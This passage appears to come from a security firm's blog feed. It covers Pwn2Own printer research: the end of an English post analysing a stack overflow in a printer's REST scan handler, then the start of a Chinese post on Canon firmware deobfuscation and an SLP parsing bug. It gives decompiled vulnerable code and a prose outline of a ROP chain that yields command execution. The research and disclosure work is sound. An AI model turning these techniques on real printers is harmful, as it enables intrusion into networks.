class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">completeRequestHelper</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="n">v12</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">);</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v12</span><span class="p">;</span> <span class="p">}</span> <span class="p">...</span> <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_65260</span> <span class="o">+</span> <span class="mi">20</span><span class="p">))(</span><span class="n">dword_65260</span><span class="p">);</span> <span class="n">dword_594F0</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span> <span class="k">switch</span> <span class="p">(</span> <span class="n">request_method</span> <span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="mi">1</span><span class="p">:</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rest_scan_handle_get_request</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">uri</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)</span><span class="n">pathinfo</span><span class="p">,</span> <span class="n">pathinfo_len</span><span class="p">);</span> <span class="c1">// ----- [1]</span> <span class="k">break</span><span class="p">;</span> <span class="p">...</span> <span class="nl">default:</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> </code></pre></div></div> <p>If the request method is <code class="language-plaintext highlighter-rouge">GET</code>, it will use <code class="language-plaintext highlighter-rouge">rest_scan_handle_get_request</code> at <code class="language-plaintext highlighter-rouge">[1]</code> to handle it. It also passes the pathinfo to this function.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">rest_scan_handle_get_request</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">pathinfo</span><span class="p">,</span> <span class="kt">int</span> <span class="n">pathinfo_len</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="n">v8</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// r2</span> <span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">next_char</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v16</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// t1</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v19</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v20</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v21</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v22</span><span class="p">;</span> <span class="c1">// r7</span> <span class="kt">size_t</span> <span class="n">v23</span><span class="p">;</span> <span class="c1">// r8</span> <span class="kt">int</span> <span class="n">v24</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">char</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [sp+8h] [bp-D8h] BYREF</span> <span class="kt">char</span> <span class="n">second_path_info</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [sp+28h] [bp-B8h] BYREF</span> <span class="kt">char</span> <span class="n">pagenumber</span><span class="p">[</span><span class="mi">152</span><span class="p">];</span> <span class="c1">// [sp+48h] [bp-98h] BYREF</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="s">"/Scan/UserReadyToScan"</span><span class="p">,</span> <span class="mh">0x15u</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">strncmp</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="s">"/Scan/Jobs"</span><span class="p">,</span> <span class="mh">0xAu</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span> <span class="p">...</span> <span class="n">next_char</span> <span class="o">=</span> <span class="o">*</span><span class="n">pathinfo</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">next_char</span> <span class="o">&amp;</span> <span class="mh">0xDF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nl">LABEL_37:</span> <span class="n">_DEBUG_syslog</span><span class="p">(</span><span class="s">"REST_SCAN_DEBUG"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x411FA215</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">400</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_6</span><span class="p">;</span> <span class="p">}</span> <span class="n">v16</span> <span class="o">=</span> <span class="n">pathinfo</span><span class="p">;</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">do</span> <span class="c1">//------------------------------------------------------ [2] </span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">next_char</span> <span class="o">!=</span> <span class="sc">'/'</span> <span class="p">)</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span> <span class="o">+</span> <span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="n">next_char</span><span class="p">;</span> <span class="n">v19</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span> <span class="n">next_char</span> <span class="o">==</span> <span class="sc">'/'</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v20</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span><span class="o">++</span><span class="p">;</span> <span class="n">pagenumber</span><span class="p">[</span><span class="n">v20</span> <span class="o">-</span> <span class="mi">64</span> <span class="o">+</span> <span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v19</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">first_path_info</span><span class="p">[</span><span class="n">v20</span> <span class="o">+</span> <span class="mi">32</span><span class="p">];</span> <span class="n">v14</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="o">++</span><span class="n">v14</span><span class="p">;</span> <span class="p">}</span> <span class="n">v18</span> <span class="o">=</span> <span class="o">*++</span><span class="n">v16</span><span class="p">;</span> <span class="n">next_char</span> <span class="o">=</span> <span class="n">v18</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="n">v18</span> <span class="o">&amp;</span> <span class="mh">0xDF</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">);</span> <span class="n">v19</span><span class="p">[</span><span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">||</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">second_path_info</span><span class="p">,</span> <span class="s">"Pages"</span><span class="p">)</span> <span class="o">||</span> <span class="n">dword_5DBC8</span> <span class="o">!=</span> <span class="n">strtol</span><span class="p">(</span><span class="n">first_path_info</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span> <span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_37</span><span class="p">;</span> <span class="n">v24</span> <span class="o">=</span> <span class="n">strtol</span><span class="p">(</span><span class="n">pagenumber</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rest_scan_send_scan_data</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">v24</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="p">)</span> <span class="n">rest_scan_vp_thread_created</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="k">else</span> <span class="k">return</span> <span class="n">rest_scan_send_err_reply</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>But when it parse the <code class="language-plaintext highlighter-rouge">pathinfo</code> at <code class="language-plaintext highlighter-rouge">[2]</code>, it does not check the length of <code class="language-plaintext highlighter-rouge">pathinfo</code>. Then copy the <code class="language-plaintext highlighter-rouge">pathinfo</code> to the local buffer(<code class="language-plaintext highlighter-rouge">first_path_info[32]</code>), which leads to a stack overflow.</p> <p><strong>Exploitation</strong></p> <p>We can construct the request to <code class="language-plaintext highlighter-rouge">/Scan/Jobs/</code> to trigger it. It does not have Stack Guard, so we can overwrite the return address directly. But it has DEP, we need to do ROP to achieve our goal. Finally, we use ROP to overwrite the GOT of <code class="language-plaintext highlighter-rouge">strncmp</code>. After overwriting it, we can execute arbitrary commands when we access <code class="language-plaintext highlighter-rouge">/Copy/{cmd}</code></p> <p>However, in the end, this vulnerability collided with another team’s discovery.</p> <h2 id="summary">Summary</h2> <p>Based on the results from Pwn2Own Austin 2021 to Pwn2Own Toronto 2022, printer security remains an easily overlooked issue. In just one year, the number of teams capable of compromising printers has significantly increased. Even in the third year, at <a href="https://www.zerodayinitiative.com/blog/2023/10/23/pwn2own-toronto-2023-the-schedule">Pwn2Own Toronto 2023</a>, many teams still found vulnerabilities. It is recommended for everyone using these IoT devices to turn off unnecessary services, set up firewalls properly, and ensure appropriate access controls to reduce the risk of attacks.</p> https://devco.re/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2-en/ https://devco.re/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2-en Mon, 06 Nov 2023 00:00:00 +0800 Your printer is not your printer ! - Hacking Printers at Pwn2Own Part I <p><a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en/">English Version</a>, <a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">中文版本</a></p> <p>印表機近年來已成為企業內網中不可或缺的設備之一,功能也隨著科技的發展日益增多,除了一般的傳真及列印之外,也開始支援 AirPrint 等雲端列印服務,讓列印更加方便,直接使用行動裝置就可以輕鬆列印,更成為了 IoT 中,不可或缺的一環,正因為其便利,也常被用於列印公司內部機敏文件,使得在企業中印表機的安全性更加的重要。</p> <p>而前年我們也在 Canon 及 HP 的印表機中發現了 Pre-auth RCE 的漏洞(<a href="https://www.zerodayinitiative.com/advisories/ZDI-22-515/">CVE-2022-24673</a> 及 <a href="https://www.zerodayinitiative.com/advisories/ZDI-22-532/">CVE-2022-3942</a>) 及 Lexmark 發現漏洞(<a href="https://www.zerodayinitiative.com/advisories/ZDI-22-332/">CVE-2021-44734</a>),並在 Pwn2Own Austin 2021 中取得了 Canon ImageCLASS MF644Cdw、 HP Color LaserJet Pro MFP M283fdw 及 Lexmark MC3224i 的控制權,而成功獲得 Pwn2Own 中駭客大師(Master of Pwn) 的點數,這篇研究將講述 Canon 及 HP 漏洞的細節及我們的利用方式。</p> <p><img src="/assets/img/blog/20231005/1.jpg" alt="" /></p> <p>此份研究亦發表於 <a href="https://hitcon.org/2022/agenda/704bf58c-c42b-4593-97c0-9aba91caa6e4">HITCON 2022</a> 及 <a href="https://codeblue.jp/2022/en/talks/">CODE BLUE 2022</a>,你可以從<a href="https://hitcon.org/2022/slides/Your%20Printer%20is%20not%20your%20Printer%20!%20-%20Hacking%20Printers%20at%20Pwn2Own.pdf">這裡</a>取得投影片!</p> <h2 id="printer">Printer</h2> <p>早期在使用印表機時,往往會需要使用 IEEE1284 或是 USB 的 Printer cable 來將印表機接上電腦,並且在使用時會額外裝上廠商所附的驅動程式。而現今的印表機已可以接上網路,並多了各式各樣的功能,通常只要將印表機接上區網,區網中的電腦就可以輕易地發現你所新安裝的印表機。</p> <p>目前市面上的印表機預設都開了非常多的服務,不外乎就是為了讓列印更加方便,像是 FTP、AirPrint、Bonjour 等等服務。</p> <h2 id="motivation">Motivation</h2> <h3 id="為何要研究印表機呢">為何要研究印表機呢?</h3> <h4 id="紅隊內網需求">紅隊內網需求</h4> <p>過去我們團隊在執行紅隊演練過程中,印表機普遍出現於現代企業內網中,幾乎都會有一台以上,但往往是被忽略的一塊,也常常沒在更新。印表機本身也非常適合作為攻擊者的藏身處,通常很難被偵測出來。值得一提的是比較大型的企業也很有可能將其接上 AD,成為獲取機密資訊的入口。</p> <h4 id="pwn2own-austin-2021">Pwn2Own Austin 2021</h4> <p>另外一點是印表機在 2021 時,首次成為了 Pwn2Own Mobile 主要推動的目標之一,而我們剛好當時也準備再次挑戰 Pwn2Own 舞台,便決定一探究竟。</p> <p><img src="/assets/img/blog/20231005/2.jpg" alt="" /></p> <p>起初我們原本以為非常簡單,跟多數的 IoT 設備一樣,能輕易的找到 Command injection 問題,殊不知有不少印表機都是使用 RTOS,並非一般的 Linux 系統,但這更是驅動了我們挑戰它的決心。</p> <p>本篇將會著重在較為精彩的 Canon 及 HP 部分,Lexmark 有機會再談談。</p> <h2 id="analysis">Analysis</h2> <p>剛開始研究的時候,我們參考了許多<a href="https://chdk.fandom.com/wiki/DryOS_PIXMA_Printer_Shell">資料</a>都是需要拆解硬體來分析,才能獲得 debug console,再用 dump memory 方式來獲取原始的 firmware。但最終我們採用了其他的方式,並沒有拆解任何一台印表機。</p> <h3 id="canon">Canon</h3> <h4 id="firmware-extract">Firmware Extract</h4> <p>初始分析版本為 v6.03,我們一開始使用 <a href="https://github.com/ReFirmLabs/binwalk">binwalk</a> 去解析它,但 firmware 是經過混淆的,我們並沒辦法直接解開。</p> <p>圖: 經過混淆的 Canon ImageCLASS MF644Cdw fimware <img src="/assets/img/blog/20231005/3.jpg" alt="" /></p> <p>我們這邊也嘗試過了 <a href="https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html">TREASURE CHEST PARTY QUEST: FROM DOOM TO EXPLOIT</a> by Synacktiv 及 <a href="https://web.archive.org/web/20220224100459/https://www.contextis.com/en/blog/hacking-canon-pixma-printers-doomed-encryption">Hacking Canon Pixma Printers – Doomed Encryption</a> by Contextis Research 的研究,但這次是完全不同的系列,我們無法使用同樣的方法解開混淆過的 firmware。</p> <p>於是我們開始分析混淆過的 firmware 格式及內容。</p> <p><img src="/assets/img/blog/20231005/4.jpg" alt="" /></p> <p>我們大致上可以從混淆過的 firmware 看到,每個混淆過的 firmware 的開頭都會是 NCFW 這個 Magic,並帶有該 firmware 大小,而其他部分則是混淆過的資料。</p> <p>於是我們開始猜想,也許這台印表機舊版本的 firmware 沒有混淆,直到某一版才開始混淆,如果可以抓到中介版本,可能有機會獲得解混淆的方法。而這個 Magic 也可以讓我們辨別是不是經過混淆的。</p> <p>以下這個網址是透過官網或是擷取封包獲得的 firmware 下載網址</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&amp;cmp=Z01&amp;lang=EN </code></pre></div></div> <p>經過分析後,可以拆分為多個部分</p> <p><img src="/assets/img/blog/20231005/5.jpg" alt="" /></p> <p>約略可以歸納出下載網址的規則,我們可以藉由這個方法來載到所有版本的 firmware,當時我們載到的版本有</p> <ul> <li>V2.01</li> <li>V4.02</li> <li>V6.03</li> <li>V9.03</li> <li>V10.02</li> </ul> <p>而 v10.02 是幾周後會釋出的版本,可以先從這邊優先載到。載完所有版本後,我們發現該系列版本的 firmware 都是經過混淆的,無法從先前版本獲得解混淆的方法。但我們可以下載 Canon 其他系列的印表機,嘗試找找是否有類似的混淆演算法。載完約有 130 GB 大小。透過 grep 找 <code class="language-plaintext highlighter-rouge">NCFW</code> 及 <code class="language-plaintext highlighter-rouge">servicemode.html</code> 可以找到未混淆的 firmware。</p> <p><img src="/assets/img/blog/20231005/6.jpg" alt="" /></p> <p>最後找到四組符合條件的 firmware,我們這邊選擇了 WG7000 系列的印表機來分析,並找到了疑似解混淆的函式。</p> <p><img src="/assets/img/blog/20231005/7.jpg" alt="" /></p> <p>很幸運的,藉由重寫這個函式,可以解出明文的 MF644Cdw firmware。</p> <p><img src="/assets/img/blog/20231005/8.jpg" alt="" /></p> <p>在解出 firmware 之後,必須找出 firmware 的 image base address,IDA 才能有效地辨別跟 reference。此處可透過常見的分析工具 <a href="https://github.com/sgayou/rbasefind">rbasefind</a> 來找 image base。</p> <p><img src="/assets/img/blog/20231005/9.jpg" alt="" /></p> <p>一開始找出的 base 為 0x40b0000,但丟進 IDA 後,卻發現大部分的<code class="language-plaintext highlighter-rouge">函式</code>與 <code class="language-plaintext highlighter-rouge">debug message</code> 的字串對映不起來。</p> <p><img src="/assets/img/blog/20231005/10.jpg" alt="" /></p> <p>如上圖所示,<code class="language-plaintext highlighter-rouge">loc_4489AC08</code> 應該指向函式名稱的字串,然而此地址卻不是正常的字串,而是被當成 code 區段,內容也不是字串,表示此位置並非真正位置,而是有些許的偏移,但正常 function 的解析沒甚麼太大問題。這邊可以先找一個<code class="language-plaintext highlighter-rouge">已知函式名稱的函式</code>和找到屬於他的<code class="language-plaintext highlighter-rouge">函式名稱字串</code>來做調整,找到其中差異的 offset 後,將 image base 調到正確位置就可以了。最終找到的 image base 為 <strong>0x40affde0</strong>。調整完後,可看到原本的函式已可正確識別函式名稱。</p> <p><img src="/assets/img/blog/20231005/11.jpg" alt="" /></p> <p>接下來就可以正常分析 firmware,而初步分析後可得知,Canon ImageCLASS MF644Cdw 架構如下</p> <ul> <li>OS - DryOSV2 <ul> <li>Customized RTOS by Canon</li> </ul> </li> <li>ARMv7 32bit little-endian</li> <li>Linked with application code into single image <ul> <li>Kernel</li> <li>Service</li> </ul> </li> </ul> <h3 id="hp">HP</h3> <p>HP 的 firmware 取得相對容易許多,我們可以透過 <a href="https://github.com/fkie-cad/fact_extractor/issues/37">binwalk -Z</a> 來獲得正確的 firmware,約略需要花 3-4 天左右的時間,而其他找 image base address 等步驟,則與 Canon 相同,此處就不贅述。經過初步分析後,HP Color LaserJet Pro MFP M283fdw 架構如下</p> <ul> <li>OS <ul> <li>RTOS - Modify from ThreadX/Green Hills</li> </ul> </li> <li>ARM11 Mixed-endian <ul> <li>Code - little-endian</li> <li>Data - Big-endian</li> </ul> </li> </ul> <h2 id="attack-surface">Attack Surface</h2> <p>在現今市面上大多數的多功能事務機中,預設都會開啟一堆服務</p> <table> <thead> <tr> <th>Service</th> <th>Port</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>RUI</td> <td>TCP 80/443</td> <td>Web interface</td> </tr> <tr> <td>PDL</td> <td>TCP 9100</td> <td>Page Description Language</td> </tr> <tr> <td>PJL</td> <td>TCP 9100</td> <td>Printer Job Language</td> </tr> <tr> <td>IPP</td> <td>TCP 631</td> <td>Internet Printing Protocol</td> </tr> <tr> <td>LPD</td> <td>TCP 515</td> <td>Line Printer Daemon Protocol</td> </tr> <tr> <td>SNMP</td> <td>UDP 161</td> <td>Simple Network Management Protocol</td> </tr> <tr> <td>SLP</td> <td>TCP 427</td> <td>Service Location Protocol</td> </tr> <tr> <td>mDNS</td> <td>UDP 5353</td> <td>Multicast DNS</td> </tr> <tr> <td>LLMNR</td> <td>UDP 5355</td> <td>Link-Local Multicast Name Resolution</td> </tr> <tr> <td>…</td> <td>…</td> <td>…</td> </tr> </tbody> </table> <p>一般來說,為了方便管理,通常都會開 RUI (web 介面) ,再來是 9100 Port 也是印表機常使用的 Port,主要會用來傳輸列印的資料。其他部分則會依照廠商不同而有所不同,不過上述所列的服務通常都會有,且預設大部分都是開啟的。在評估過這些服務後,決定注重在發現服務及 DNS 系列的協定,因為我們的長期經驗下來,常常觀察到 vendor 在開發這些服務時,往往是自行開發實作,而不是使用存在已久的 Open Source。但實際上來說,實作這些協定很容易出現問題的。我們當時主要分析的服務主要有 <strong>SLP</strong>、<strong>mDNS</strong> 及 <strong>LLMNR</strong>。</p> <p>接下來就以 Pwn2Own Austin 2021 作為 Case Study,來看看這些協定常會有哪些問題。</p> <h2 id="hacking-printers-at-pwn2own">Hacking printers at Pwn2Own</h2> <h3 id="canon-1">Canon</h3> <h4 id="service-location-protocol">Service Location Protocol</h4> <p>SLP 是一種服務發現協定,主要用於讓電腦快速找到印表機,過去在 ESXI 中,<a href="https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi">SLP 也常常出問題</a>,而在 Canon 的 SLP 服務,主要由 Canon 自己實作,SLP 服務細節可參考 <a href="https://www.ietf.org/rfc/rfc2608.txt">RFC2608</a>。在我們分析 SLP 前必須先了解 SLP 封包大致上的結構</p> <p>圖: SLP Packet Structure <img src="/assets/img/blog/20231005/12.jpg" alt="" /></p> <p>這邊只需要關注<code class="language-plaintext highlighter-rouge">function-id</code>,此欄位會決定請求型態,也會決定 payload 部分的格式。而 Canon 只有實作 Service Request 及 Attribute Request 兩種。</p> <p><img src="/assets/img/blog/20231005/13.jpg" alt="" /></p> <p>在 Attribute Request (AttrRqst) 的請求中,允許使用者可以根據 service 及 scope 來獲得 attribute list。 scope 可以定義要找的範圍,如 canon 印表機。</p> <p>Example: <img src="/assets/img/blog/20231005/14.jpg" alt="" /></p> <p>而 Attribute request 結構大致如下</p> <p><img src="/assets/img/blog/20231005/15.jpg" alt="" /></p> <p>主要是長度(Length)及數值(Value)的組合,通常在 Parse 這種格式,很容易出問題,需要特別注意,而實際上 Canon 在 Parse 這個結構時就出了問題。</p> <h4 id="vulnerability">Vulnerability</h4> <p>Canon 在 parse scope list 時,會將跳脫字元轉換成 ASCII,例如 <code class="language-plaintext highlighter-rouge">\41</code> 會轉換成 <code class="language-plaintext highlighter-rouge">A</code> ,然而這個簡單轉換會有怎樣的問題呢? 我們來看一下 Pseudo code</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">parse_scope_list</span><span class="p">(...){</span> <span class="kt">char</span> <span class="n">destbuf</span><span class="p">[</span><span class="mi">36</span><span class="p">];</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">max</span> <span class="o">=</span> <span class="mi">34</span><span class="p">;</span> <span class="n">parse_escape_char</span><span class="p">(...,</span><span class="n">destbuf</span><span class="p">,</span><span class="n">max</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>如上面程式碼所示,在 <code class="language-plaintext highlighter-rouge">parse_scope_list</code> 中,會先分配 36 bytes 的 <code class="language-plaintext highlighter-rouge">destbuf</code> 並且指定最大大小 34 到 <code class="language-plaintext highlighter-rouge">parse_escape_char</code> 中,這邊沒甚麼問題,讓我們來看一下 <code class="language-plaintext highlighter-rouge">parse_escape_char</code></p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">parse_escape_char</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">**</span><span class="n">pdata</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">pdatalen</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">max</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span> <span class="c1">// r7</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// r9</span> <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// r8</span> <span class="kt">int</span> <span class="n">error</span><span class="p">;</span> <span class="c1">// r11</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v13</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">bool</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// cc</span> <span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">bool</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// cc</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v20</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v21</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v22</span><span class="p">;</span> <span class="c1">// r0</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">pdata</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">pdatalen</span><span class="p">;</span> <span class="n">i</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">v7</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)(</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v12</span> <span class="o">=</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v12</span> <span class="o">==</span> <span class="sc">','</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">2</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v12</span> <span class="o">==</span> <span class="sc">'\\'</span> <span class="p">)</span> <span class="c1">//----------------------[1]</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">3</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> 